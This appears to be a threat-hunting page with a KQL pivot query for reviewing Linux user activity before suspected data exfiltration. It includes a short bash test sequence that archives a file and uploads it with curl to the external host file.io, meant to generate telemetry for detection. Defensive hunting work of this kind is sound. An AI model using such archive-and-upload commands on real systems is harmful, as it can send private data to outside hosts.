Query Details
### Pivot B – User activity leading up to exfiltration ## Follow‑up pivots (recommended) Use this when pivoting from the **Linux – Archive Command Followed by Upload Egress** query. They are strongly recommended to understand scope and intent. Use this pivot to identify: * Pre‑exfiltration reconnaissance * Credential access * Script execution * Operator behaviour ```kql // Update DeviceName and time window as required DeviceProcessEvents | where DeviceName =~ "DeviceNameHere" | where Timestamp between (datetime(2026-01-30T14:50:00Z) .. datetime(2026-01-30T15:10:00Z)) | project Timestamp, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName | order by Timestamp desc ``` --- ## Testing and validation guidance To safely generate telemetry for this hunt: ```bash cd /tmp echo test > a.txt tar -czf test-exfil.tgz a.txt curl -F [email protected] https://file.io/?expires=1d ``` This sequence reliably produces: * Archive creation intent * Outbound upload activity * Correlated results in the hunt
This query is designed to help security analysts investigate user activity on a Linux device that might indicate data exfiltration. Here's a simple breakdown of what the query does:
Purpose: It's used to identify suspicious activities that might have occurred before data was exfiltrated from a device. This includes looking for reconnaissance actions, attempts to access credentials, script executions, and general operator behavior.
How it Works:
Testing and Validation:
Overall, this query and the accompanying script help analysts understand the scope and intent of potential data exfiltration activities by examining related user actions on a Linux device.

Nathan Hutchinson
Released: February 2, 2026
Tables
Keywords
Operators